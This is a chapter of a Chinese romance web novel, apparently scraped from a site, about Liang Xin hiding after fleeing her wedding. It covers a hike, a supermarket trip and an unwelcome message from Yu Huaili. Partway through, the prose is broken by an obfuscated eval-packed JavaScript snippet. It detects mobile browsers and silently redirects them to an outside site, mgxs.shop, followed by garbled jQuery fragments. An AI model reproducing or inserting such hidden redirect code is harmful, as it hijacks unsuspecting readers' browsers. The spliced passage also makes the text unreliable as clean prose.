梁心一路组织语言，怎么也没能整理出一个像样的开头。
要说前男友，也不是完全不能说。
那段关系的前半程称得上愉快。疫情期间，日子被封在同一方小小空间里，他们每天说废话，做饭，看油管的旅行视频，过着不真实的和谐生活。
视频博主去到小镇，镜头扫过哪间餐厅，他们会立刻暂停，搜索那家店的菜单，叽叽喳喳讨论如果自己到了那里，要点哪道菜，坐哪张桌子，博主没点的那道菜是不是更好吃。有时候视频停在半山腰，有时候停在夜市摊前，有时候停在一片蓝得不像真的海。
他们没有真正出门，却像一起去了很多地方。那段封闭时光的快乐很具体。现在回想起来，是一段正经恋爱该有的样子。
但，她无法交代结尾。
结尾是黑料，是解释不清的东西。就算对方原谅了她，就算事情在时间里被迫翻篇，梁心依然难以启齿。
至于于怀礼，更没法开口。那段关系至今都没算结束。更糟的是，梁心甚至不知道，从世俗意义上来讲，它是从哪一个节点开始的。
第一次相亲？第一次越界？
下山最后的路，梁心沉默加速，李正清连一句“你不想说就算了”都没讲，只是换了一个她能接住的话题：“等会儿，晚上吃什么？”
梁心被他从一团乱麻里拎出来，慢半拍地抬头：“啊？”
“下山后直接去超市？还是你想去哪里？”
她宛如小动物听见饭盆落地，那些灰扑扑的心事瞬间退后：“去超市？你有什么想吃的？”
对自己的情史闭口不言，现在讲起晚饭，思路倒是流畅得很。一双眼睛里只有纯粹的食欲，毫无男女之情。
李正清觉得好笑：“都可以，我饿了。”
走到山下，世界漆黑。
她问他记不记得车在哪里？他说记得，但是要绕一圈，现在在下山口，再回到上山口拿车有一段路，可能要打个车。
她莫名信赖，“好啊。”
山脚下灯火稀疏，亮一段，黑一段，像一条断续的线，把停车场和马路勉强缝在一起。
下山口有三蹦子，他问她介意吗。梁心哪里有这么娇气。
抵达停车场，山风被隔在外头，车厢里很快只剩下商量菜品的声音。
梁心刷着菜单：“主食呢？你吃辣吗？吃不吃葱姜蒜？香菜呢？内脏吃吗？海鲜过敏吗？你要是点太难的菜，我会假装没听见。”
“都吃。只要不是东南亚菜，都行。如果你喜欢做东南亚菜，我也行。”
东南亚菜在新加坡下楼就能吃到，他回国不想浪费一顿。
“一点忌口都没有？”
“没有。”
确定他没开玩笑，她嘀咕，“怎么和我一样。”
李正清中午没吃，又爬了一天山，胃里空得厉害，听她一样一样问下去，理智逐渐变薄。他问她，能不能在外面先吃一点。
梁心扭头看他：“那今晚就不吃饭了吗？”
他说：“吃。”
“唔。”她消化他的逻辑，“你的意思是，现在你要在外面吃一顿，回家再吃一顿。”
“差不多。”
“那夜宵呢？”
李正清看她：“你要是累的话，就不吃了。”
“我不累。”她答得很快。
爬个山丘而已，只会兴奋，怎么能累。她甚至因为要去超市，而重新焕发活力。
如果她不累，那么李正清的回答是：“吃。”
“你吃得完吗？”
“不用担心，我看见吃的就能光盘。”
梁心半信半疑：“真的吗？昨天做的东西够吃吗？”
她昨天按高个男生的饭量加了土豆的量，肉也煎了块体积相对大的，谁料他说：“不够。”
梁心本身食量不大，只是爱看菜品多种多样地铺开。
菜单递到手里，她整个人都会精神。这个想吃，那个也不错，这道汤看起来很暖，那个小菜一定下饭，要是有炸物，最好再配一口酸甜的蘸汁。
菜还没上桌，她说得兴致勃勃，仿佛真饿了三天。
可等菜端上来，又是另一回事。梁心每道都尝，每道都认真评价，眼睛发亮地夸这个料好香，那个火候正好，下次还要点。结果动几筷子，胃就会没出息地举白旗。
她这种爱吃胃容量有限的人，遇到李正清这种自称食量大的人，不由好奇：“你的不够，只指一顿要吃八个菜，还是一桶饭？”
李正清没听明白：“什么意思？”
“比如我吃得很少，但我喜欢桌上有好几道菜。你呢，是喜欢菜多，还是饭多？”
“都多。”他的视线在她脸上略一停顿，“主要问题不是菜。”
“那是什么？”
“你的碗太小了。”李正清指出一个客观事实，“等会儿我们买一套。”
说话间，铃声响了。
他看了一眼来电，没接，直接按掉。
隔了不到两秒，又响，他仍然没接。
车厢里关于碗和晚饭的松弛，被这一连串来电敲出细小裂纹。梁心盯着Carplay的导航和不断弹出的“杨梦”提示，不自在地抿了抿嘴。
她自然明白发生了什么：“不接Ok吗？”
李正清嗯了一声，语气没什么起伏：“她调了监控，看到我和个女的去拿车。现在在发疯。”
梁心瞬间坐直：“她看到我了？”
“放心。”李正清右手启动车子，左手把杨梦拉黑，手机扣到中控台上，“她没联想到那是你。”
梁心刚松一口气，他又补了一句：“她以为是新女朋友。”
“如果是新女朋友……为什么要发疯？太高兴了？”在她的词典里，发疯不是好词。
“我前两个女朋友，她都不满意。”
“不满意的点是？”
“鬼知道。”他早习惯了这种毫无道理的约束，懒得想。
手机又震了一下，他说：“我们先去超市。”
进景行区前，他去买了汉堡，没急着吃，等开到商场地下车库，才三两口把汉堡塞进肚子。这时候梁心刚结束和江禾的对话——
她好奇为什么李正清有新女友，杨梦会发疯。
梁心：【Question!】
江禾：【？】
梁心：【我刚和你哥去拿车，被你妈发现了。】
江禾：【你去了生态园？】
梁心：【你妈妈好像不高兴？】
江禾：【没事，我跟她解释。】
梁心制止：【别，你哥的事儿让他自己搞。阿姨没认出是我，以为是你哥新女友。】
她忍不住问：【我只是好奇，为什么你妈妈不高兴？】
江禾：【我也不知道。我哥每次谈恋爱，我妈都说是为了气她。】
江禾：【谁没事谈个恋爱，就为了气她。真拿自己当回事。自恋。】
梁心没往别处想，顺手问：【阿姨哪里不满意？】
江禾犹犹豫豫，正在输入了好一会：【我哥喜欢坏女孩。】【我妈说不入流。】
答案太直接。
梁心立刻将手机倒扣在腿上，心虚地往驾驶座瞥了一眼。驶入市区，正逢晚高峰，车流走走停停，灯光一阵阵掠过车窗。
确定李正清的侧脸在明暗交替之间一动没动，并没有分神看她，梁心才悄悄翻过手机，把屏幕藏在衣服底下，捂得严严实实，偷偷发：【怎么坏？】
江禾：【我觉得不坏啊，很漂亮。耳骨钉打了一排，手臂胸口都有文身，穿得也比较酷。我妈大概吃不消这种。】
过了会儿，他发来：【估计人在国外，她管不到，所以只能无能狂怒。】
梁心不敢再聊，赶紧收起手机。直到李正清停完车并吃完汉堡，她都没敢直视对方的眼睛。
她没想到江禾有问必答、知无不言、言简意赅得她毫无招架之力。
更没想到的是，她居然这么好奇。
李正清是真的饿了。
汉堡王的纸袋还带着一点热气。他坐在驾驶座上，三两口解决，视线时不时看向挡风玻璃的副驾方向。
梁心坐得很端正，手机捏在掌心，屏幕早就暗了，她却还像握着什么罪证，拼命咬嘴唇。这副样子完全是做错事的小孩。
他把最后一口汉堡咽下去，抽了张纸擦手，推门下车。
地库很空，不时有车驶过，声音在低矮的天花板下拖出一串空荡回音。李正清看了一眼停车区域，记下柱子编号和电梯方向，便往前走。
梁心低着头跟在后面，步子倒是不慢，只是眼睛不看路，直直朝右前方走去。
那边墙上嵌着一只红色消防栓，外壳凸出来一截。李正清在她撞上去之前，伸手挡了一下：“回神。”
梁心猛地刹车：“吓我一跳。”
李正清垂眼看她，“你一个不方便暴露行踪的人，走路不看路？”
梁心这才发现自己差点撞上消防栓，耳根热了：“不好意思。”
她下意识抬头对视，可李正清的眼睛太清醒，明明什么都没问，却像什么都知道，梁心心里咯噔一下，试图把话题拉回正事里：“我刚刚在想等会儿买什么。”
“哦？不是在想江禾跟你说了什么？”
梁心差点惊得跳起来，明明把手机挡好了的：“你怎么什么都知道！”
他停下脚步，按下电梯键，颇为无语：“妹妹，车就那么大，你突然看我一眼，然后鬼鬼祟祟藏手机，我很难一无所知。”
“这样啊。”确实掩耳盗铃了。
“江禾说什么了？”
电梯迟迟没来，数字停在负二层。梁心站在那里，装死也装不下去，只好含糊交代：“我就问了一下阿姨为什么不高兴你交女朋友。”说完立刻补充，“我就是好奇。”
他眼底藏不住的玩味：“为什么不直接问我？”
梁心抿了抿嘴，老实道：“因为这是隐私，我不好意思当面问。”
李正清了然地点点头：“所以背后问。”
她死鸭子嘴硬：“这样会比较有礼貌。”
他忍俊不禁：“都打听到什么隐私了？”
“他还没回我，目前没听到。”
他摊开手，朝她勾了勾：“我看看信息。”
手机在运动裤口袋里，梁心赶紧捂住。摸到里面还塞着那个没吃完的青团，隔得手心发黏，她又把青团丢进旁边垃圾桶，继续捂住口袋：“隐私，这是我的隐私。”
“你的隐私是隐私，我的隐私不是？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620465|204933||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>电梯门开了，梁心跟着人流走进去，理直气壮得很勉强：“你也可以背后去问我的。随便问。”
李正清慢半步进来，站到她身侧。
梯厢里的白光落下来，他眉梢几不可察地一扬，“就是不能当面告诉我呗。”
梁心想起下午跟人交易情感故事，爬完山一个字都没交代，顿时更心虚。
电梯到了超市楼层，门一开，她立刻推着车直奔食品区。回到自己擅长的领域，梁心那点心虚很快被冲散。
趁她挑菜，李正清从酒水区货架上拎了一瓶金酒放进推车。瓶身细高，透明玻璃，标签是冷色调的蓝白色，看起来干净利落，没什么花哨装饰。
梁心看见了：“家里不是有酒吗？”
“没多少了。”
她拿完葱姜、青椒、土豆、排骨、皮蛋，酒酿和圆子，又在冰鲜区停下，挑了一条海鲈鱼。鱼身银白，躺在碎冰上，尾巴微微上翘。
见他站在一旁一言不发又看得认真，她不由问：“你不好奇我做什么吗？”
“好奇。猜了一路。”
梁心来了兴致：“那你说一下。”
李正清垂眼扫过推车：“排骨，青椒土豆丝，酒酿圆子。”
“还有呢？”
他的视线落到那条被装进透明盒子里的海鲈鱼上，停了一下，“不知道，这条鱼看不出来。”
梁心眼睛亮了：“那就是没有都猜对。”
李正清不解她为什么这么开心：“嗯。”
“猜错了要接受惩罚。”她说。
他闻到诡计，抄起手后退一步：“我没答应接受惩罚。”
梁心：“……”
“不过可以听一下惩罚是什么？”
梁心指了指推车里的金酒。他刚才只是顺手从货架上随手取了一瓶，不确定他懂不懂酒，但架势感觉不懂：“很简单，换一瓶酒。”
“为什么？”
“我……我爸爸说，那瓶不好喝。”
她把那瓶蓝白标签金酒放回货架，又从旁边取了一瓶同样透明玻璃瓶、瓶肩更圆、标签带一点草绿色和象牙白的金酒，“我爸爸喜欢喝这个。”
李正清没忍住，笑出声：“叔叔今晚也来吃饭？”
梁心和他越发熟稔，知道他不会拒绝提议：“你别管。”
玻璃轻轻磕碰的响动让梁心心情愉悦。结账、装袋、坐回车里，她一路都在兴致勃勃地说话。她说，自己是开着视频和爸爸一步步学做饭的。第一次做出来很好吃，没有炸厨房，大家都说她是小厨神。
昨天领教过她的厨房控场能力，李正清自然夸她天赋异禀。
梁心看着他翘起的嘴角，心也跟着亮起来，越说越起劲，没喝就跟喝了似的开心。有那么一瞬间，她差点以为，这不是什么逃婚后的余震生活。只是一个普通晚上，他们爬完山，逛完超市，回家做饭。
这错觉太好，好到梁心不敢细想。
车驶入光影里地库，她的手机忽然响了。
声音不大，却把心情飞扬的梁心吓了一跳。
这么久以来，打她电话的人其实很少。这可能源自现代人奇怪的社交默契。该处理的在第一周都处理完了，现在逃婚三个礼拜，没人再有力气关心她的死活。
于怀礼三个字出现，梁心的心跳一下顶到嗓子眼。她想也没想，直接挂断。
车停稳，脚刚落地，手机又震了一下。
这次是短信。
【我在光影里，见一面吧。】
梁心被那几个字钉住，一动不能动。
李正清：“怎么了？”
听到他的声音，梁心才找回一点呼吸，却仍控制不住地原地打转。
她喃喃：“完了。他怎么会知道我在这里？”
明明没有租房记录，没有网购记录，连外卖都没点过。难道他们真的手眼通天，在查全市监控？还是有人报了失踪？
“谁？”李正清问。
梁心没回答。她六神无主地攥着手机，指尖用力到泛白。
李正清往前一步，伸手按住她的肩膀，力道不重，却把她原地打转的动作截停了。
“梁心。”他低声又问了一遍，“谁？”
她抬头看他，眼里有一瞬间的空茫。她挣开他的手，走到后备箱：“你先把东西拿上去。鱼记得放冷藏，排骨也要放进去。我等会回来。”
“你要去哪？要我送你吗？”
她拿出手机：“我打个电话给江禾。”
李正清看出她处于不能被追问的状态里，“那我先上去。”
刚转身要走，梁心忽然拉住他，“正清，你上去帮我看一下门口有没有人。有的话，发消息给我。”
李正清的目光一沉：“谁在找你？”
梁心摇头。
他没有再问，只是把购物袋换到另一只手里，低声道：“在这里等我消息，别乱走。”
电梯门合上那一刻，地库重新空下来。远处有车驶过，胎声在水泥地上拖出一段低低的回音。梁心站在原地，手机握在掌心，屏幕早已暗了，可那行字还贴在她的神经末梢，绑架思绪。
一分钟后，手机震了一下。
李正清：【没人。】
又过了两秒。
李正清：【回来吗？】